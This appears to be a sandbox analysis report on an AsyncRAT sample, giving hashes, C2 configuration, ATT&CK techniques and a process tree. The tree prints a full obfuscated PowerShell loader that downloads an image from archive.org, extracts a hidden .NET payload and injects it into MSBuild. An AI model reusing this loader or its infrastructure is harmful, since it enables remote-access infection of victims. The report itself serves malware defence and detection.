asyncrat | 6cef2a9dfe5e84b67c901ff1e8d8544ed3f763b47a462f9014f3674db182e464

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
24/06/2025, 05:49

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General

Target
WMIEventLog.vbs
Size 5.8MB
Sample250624-gjaqqsysfx
SHA256 6cef2a9dfe5e84b67c901ff1e8d8544ed3f763b47a462f9014f3674db182e464
MD5 ad3cff214ece925a4227210658b7c3f1
SHA1 44e073c524d238f036b14edf9303ddc7ce0b705e
SHA512 08cb8b00ab2c9821955c7bf34747d21472f067ac88b32e0a356c5bbeaaaab313a8d01dc8279eb6c970f432301c825f932a53efc197d4dc3230e0ec843d7ebe1e
SSDEEP 49152:9pIXYmWy3AGN5rMmwXOXAURLE40/Zju4ynV/R9GLYNeMeIjzSC/UW2nQ:C7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat nuevos discovery execution rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250621_1447/wp4096799-lost-in-space-wallpapers.jpg
exe.dropper
https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250621_1447/wp4096799-lost-in-space-wallpapers.jpg

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Nuevos

wmieventlogonlinehelp.ydns.eu:1000

Mutex

asdfkbsdfgsdjnbtgnir

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	4528	powershell.exe
16	4528	powershell.exe
20	4528	powershell.exe
22	4528	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4144907350-1836498122-2806216936-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4528 set thread context of 5636	4528	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5840 wrote to memory of 4528	5840	WScript.exe	89
PID 5840 wrote to memory of 4528	5840	WScript.exe	89
PID 4528 wrote to memory of 5560	4528	powershell.exe	91
PID 4528 wrote to memory of 5560	4528	powershell.exe	91
PID 4528 wrote to memory of 5560	4528	powershell.exe	91
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92
PID 4528 wrote to memory of 5636	4528	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WMIEventLog.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$reinfect='JHVudGFja2luZyA9ICdWa0ZKJzskZG9ybGFjaCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHVudGFja2luZyk7JGNvbXBlbGxhdGlvbiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRkb3JsYWNoKTskbXVsdGlwcm90b2NvbCA9ICdaRzVzYVdJdVNVOHVTRzl0WlE9PSc7JG1ldGFmYWNpYWwgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tYmFzZTY0U3RyaW5nKCRtdWx0aXByb3RvY29sKTskdHJhaXRvcmlzbSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRtZXRhZmFjaWFsKTtBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nOyRwZXJ2ZXJ0ZXRoPSdodHRwczovL2FyY2hpdmUub3JnL2Rvd25sb2FkL3dwNDA5Njc5OS1sb3N0LWluLXNwYWNlLXdhbGxwYXBlcnNfMjAyNTA2MjFfMTQ0Ny93cDQwOTY3OTktbG9zdC1pbi1zcGFjZS13YWxscGFwZXJzLmpwZyc7JG92ZXJoZWxlPU5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JG92ZXJoZWxlLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAnKTskZW5icm91ZGU9JG92ZXJoZWxlLkRvd25sb2FkRGF0YSgkcGVydmVydGV0aCk7JHJoeW5nb3RhPVtieXRlW11dKDB4NDIsIDB4NEQsIDB4MkEsIDB4OEIsIDB4MTcsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MzYsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MjgsIDB4MDApOyRlbmRvY29uYWw9LTE7Zm9yKCRBUENCQz0wOyRBUENCQyAtbGUgJGVuYnJvdWRlLkxlbmd0aC0kcmh5bmdvdGEuTGVuZ3RoOyRBUENCQysrKXsgJHBpYWZmZXJzPSR0cnVlO2ZvcigkQWFyZ2F1PTA7JEFhcmdhdSAtbHQgJHJoeW5nb3RhLkxlbmd0aDskQWFyZ2F1Kyspe2lmKCRlbmJyb3VkZVskQVBDQkMrJEFhcmdhdV0gLW5lICRyaHluZ290YVskQWFyZ2F1XSl7JHBpYWZmZXJzPSRIdW5nYXJpYW5zO2JyZWFrfX1pZigkcGlhZmZlcnMpeyRlbmRvY29uYWw9JEFQQ0JDO2JyZWFrfX1pZigkZW5kb2NvbmFsIC1lcSAtMSl7cmV0dXJufTskc3Rld2FyZHJ5PSRlbmJyb3VkZVskZW5kb2NvbmFsLi4oJGVuYnJvdWRlLkxlbmd0aC0xKV07JGdhbWV3b3JsZHM9TmV3LU9iamVjdCBJTy5NZW1vcnlTdHJlYW07JGdhbWV3b3JsZHMuV3JpdGUoJHN0ZXdhcmRyeSwwLCRzdGV3YXJkcnkuTGVuZ3RoKTskZ2FtZXdvcmxkcy5TZWVrKDAsJ0JlZ2luJyl8T3V0LU51bGw7JHBlbnBhbD1bRHJhd2luZy5CaXRtYXBdOjpGcm9tU3RyZWFtKCRnYW1ld29ybGRzKTskSG9sb2Zlcm5lcz1OZXctT2JqZWN0IENvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXTtmb3IoJG1lc29waGlsZXM9MDskbWVzb3BoaWxlcyAtbHQgJHBlbnBhbC5IZWlnaHQ7JG1lc29waGlsZXMrKyl7Zm9yKCRjb25mcmllcj0wOyRjb25mcmllciAtbHQgJHBlbnBhbC5XaWR0aDskY29uZnJpZXIrKyl7JGN0ZW5pZm9ybWVzdD0kcGVucGFsLkdldFBpeGVsKCRjb25mcmllciwkbWVzb3BoaWxlcyk7JEhvbG9mZXJuZXMuQWRkKCRjdGVuaWZvcm1lc3QuUik7JEhvbG9mZXJuZXMuQWRkKCRjdGVuaWZvcm1lc3QuRyk7JEhvbG9mZXJuZXMuQWRkKCRjdGVuaWZvcm1lc3QuQil9fTskaWRlbnRpZnlpbmc9W0JpdENvbnZlcnRlcl06OlRvSW50MzIoJEhvbG9mZXJuZXMuR2V0UmFuZ2UoMCw0KS5Ub0FycmF5KCksMCk7JG92b3ZpdGVsbGluPSRIb2xvZmVybmVzLkdldFJhbmdlKDQsJGlkZW50aWZ5aW5nKS5Ub0FycmF5KCk7JHN1cGVyc2FsaWVuY3k9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZygkb3Zvdml0ZWxsaW4pLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskZ2VvaWRzPSc9PWdjbHAyY25KM1l5OFNidk5tTHNKWGQ1NVdhMDl5TDZNSGMwUkhhJy5SZXBsYWNlKCcmWycsJ3QnKTskcGFsbWFyaXVtPVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkc3VwZXJzYWxpZW5jeSk7JHBvcm9nZW5pYz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBhbG1hcml1bSk7JGRlZ3JhZGF0aXZlPUAoJGdlb2lkcywnJywnJywnJywnTVNCdWlsZCcsJycsJycsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCd0YWxjcycsJ3ZicycsJycsJycsJ2V5YWxldCcsJzInLCcnKTskcG9yb2dlbmljLkdldFR5cGUoJHRyYWl0b3Jpc20pLkdldE1ldGhvZCgkY29tcGVsbGF0aW9uKS5JbnZva2UoJHB1Y2tpc2hseSwkZGVncmFkYXRpdmUpOyRwZW5wYWwuRGlzcG9zZSgpOyRnYW1ld29ybGRzLkRpc3Bvc2UoKQ==';$chromoparous=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($reinfect));Invoke-Expression $chromoparous"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5560
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_4gy1tvka.ixn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4gy1tvka.ixn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4528-13-0x00007FFA72AB3000-0x00007FFA72AB5000-memory.dmp

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memory/4528-10-0x0000024648AD0000-0x0000024648AF2000-memory.dmp

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memory/4528-11-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/4528-12-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/4528-14-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/4528-0-0x00007FFA72AB3000-0x00007FFA72AB5000-memory.dmp

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memory/4528-15-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/4528-16-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/4528-17-0x00000246490A0000-0x000002464921E000-memory.dmp

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memory/4528-18-0x0000024649220000-0x0000024649234000-memory.dmp

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memory/4528-22-0x00007FFA72AB0000-0x00007FFA73571000-memory.dmp

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memory/5636-19-0x0000000000400000-0x0000000000412000-memory.dmp

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